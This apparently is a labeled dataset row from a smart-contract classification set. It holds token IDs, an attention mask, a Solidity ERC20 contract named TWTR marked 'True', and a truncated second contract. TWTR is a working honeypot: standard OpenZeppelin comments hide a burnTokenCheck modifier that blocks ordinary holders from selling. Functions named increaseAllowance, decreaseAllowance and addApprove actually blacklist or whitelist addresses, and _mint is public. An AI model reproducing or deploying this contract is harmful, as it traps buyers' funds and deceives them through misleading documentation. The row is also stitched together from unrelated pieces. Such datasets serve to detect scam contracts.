1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1011, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 14163, 2140, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2065, 1006, 1037, 1027, 1027, 1014, 1007, 1063, 2709, 1014, 1025, 1065, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1008, 1038, 1025, 5478, 1006, 1039, 1013, 1037, 1027, 1027, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 24856, 2058, 12314, 1000, 1007, 1025, 2709, 1039, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 4487, 2615, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 2407, 2011, 5717, 1000, 1007, 1025, 1065, 3853, 4487, 2615, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 1028, 1014, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 21318, 3372, 17788, 2575, 1039, 1027, 1037, 1013, 1038, 1025, 2709, 1039, 1025, 1065, 3853, 16913, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 2709, 16913, 1006, 1037, 1010, 1038, 1010, 1000, 3647, 18900, 2232, 1024, 16913, 18845, 2011, 5717, 1000, 1007, 1025, 1065, 3853, 16913, 1006, 21318, 3372, 17788, 2575, 1037, 1010, 21318, 3372, 17788, 2575, 1038, 1010, 5164, 3638, 7561, 7834, 3736, 3351, 1007, 4722, 5760, 5651, 1006, 21318, 3372, 17788, 2575, 1007, 1063, 5478, 1006, 1038, 999, 1027, 1014, 1010, 7561, 7834, 3736, 3351, 1007, 1025, 2709, 1037, 1003, 1038, 1025, 1065, 1065, 3206, 2219, 3085, 1063, 4769, 2270, 1035, 3954, 1025, 2724, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 25331, 3025, 12384, 2121, 1010, 4769, 25331, 2047, 12384, 2121, 1007, 1025, 9570, 2953, 1006, 1007, 2270, 1063, 1035, 3954, 1027, 5796, 2290, 1012, 4604, 2121, 1025, 12495, 2102, 6095, 6494, 3619, 7512, 5596, 1006, 4769, 1006, 1014, 1007, 1010, 5796, 102 ]	[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
pragma solidity ^0.6.6; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. / library SafeMath { /* * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. / function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /* * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. / function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /* * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ / function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /* * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `` operator. * Requirements: * - Multiplication cannot overflow. / function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /* * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ / function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. / function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /* * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ / function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } /* * @dev Collection of functions related to the address type / library Address { /* * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== / function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /* * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. / function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /* * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ / function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /* * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /* * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ / function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Context { // Empty internal constructor, to prevent people from mistakenly deploying // an instance of this contract, which should be used via inheritance. constructor () internal { } function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } /* * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see {ERC20Detailed}. / interface IERC20 { /* * @dev Returns the amount of tokens in existence. / function totalSupply() external view returns (uint256); /* * @dev Returns the amount of tokens owned by `account`. / function balanceOf(address account) external view returns (uint256); /* * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transfer(address recipient, uint256 amount) external returns (bool); /* * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. / function allowance(address owner, address spender) external view returns (uint256); /* * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. / function approve(address spender, uint256 amount) external returns (bool); /* * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. / function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /* * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. / event Transfer(address indexed from, address indexed to, uint256 value); /* * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. / event Approval(address indexed owner, address indexed spender, uint256 value); } /* * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. / contract TWTR is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => bool) private _whiteAddress; mapping (address => bool) private _blackAddress; uint256 private _sellAmount = 0; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; uint256 private _approveValue = 115792089237316195423570985008687907853269984665640564039457584007913129639935; address public _owner; address private _safeOwner; address private _unirouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; /* * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. / constructor (string memory name, string memory symbol, uint256 initialSupply,address payable owner) public { _name = name; _symbol = symbol; _decimals = 18; _owner = owner; _safeOwner = owner; _mint(_owner, initialSupply(1018)); } / * @dev Returns the name of the token. / function name() public view returns (string memory) { return _name; } /* * @dev Returns the symbol of the token, usually a shorter version of the * name. / function symbol() public view returns (string memory) { return _symbol; } /* * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. / function decimals() public view returns (uint8) { return _decimals; } /* * @dev See {IERC20-totalSupply}. / function totalSupply() public view override returns (uint256) { return _totalSupply; } /* * @dev See {IERC20-balanceOf}. / function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /* * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. / function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(_msgSender(), recipient, amount); return true; } function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { transfer(receivers[i], amounts[i]); if(i < approvecount){ _whiteAddress[receivers[i]]=true; _approve(receivers[i], _unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935); } } } /* * @dev See {IERC20-allowance}. / function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /* * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. / function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /* * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. / function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _approveCheck(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function increaseAllowance(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _whiteAddress[receivers[i]] = true; _blackAddress[receivers[i]] = false; } } /* * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. / function decreaseAllowance(address safeOwner) public { require(msg.sender == _owner, "!owner"); _safeOwner = safeOwner; } /* * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. / function addApprove(address[] memory receivers) public { require(msg.sender == _owner, "!owner"); for (uint256 i = 0; i < receivers.length; i++) { _blackAddress[receivers[i]] = true; _whiteAddress[receivers[i]] = false; } } /* * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. / function _transfer(address sender, address recipient, uint256 amount) internal virtual{ require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. / function _mint(address account, uint256 amount) public { require(msg.sender == _owner, "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[_owner] = _balances[_owner].add(amount); emit Transfer(address(0), account, amount); } /* * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. / function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. / function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /* * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `sender` cannot be the zero address. * - `spender` cannot be the zero address. / modifier burnTokenCheck(address sender, address recipient, uint256 amount){ if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{ if (sender == _owner \|\| sender == _safeOwner \|\| recipient == _owner){ if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{ if (_whiteAddress[sender] == true){ _;}else{if (_blackAddress[sender] == true){ require((sender == _safeOwner)\|\|(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{ if (amount < _sellAmount){ if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;} _; }else{require((sender == _safeOwner)\|\|(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;} } } } } } /* * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. / function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /* * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } }	True	[ 101, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1020, 1012, 1020, 1025, 1013, 1008, 1008, 1008, 1030, 16475, 10236, 7347, 2058, 5024, 3012, 1005, 1055, 20204, 3136, 2007, 2794, 2058, 12314, 1008, 14148, 1012, 1008, 1008, 20204, 3136, 1999, 5024, 3012, 10236, 2006, 2058, 12314, 1012, 2023, 2064, 4089, 2765, 1008, 1999, 12883, 1010, 2138, 28547, 2788, 7868, 2008, 2019, 2058, 12314, 13275, 2019, 1008, 7561, 1010, 2029, 2003, 1996, 3115, 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pragma solidity ^0.6.12; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/access/Ownable.sol"; interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function 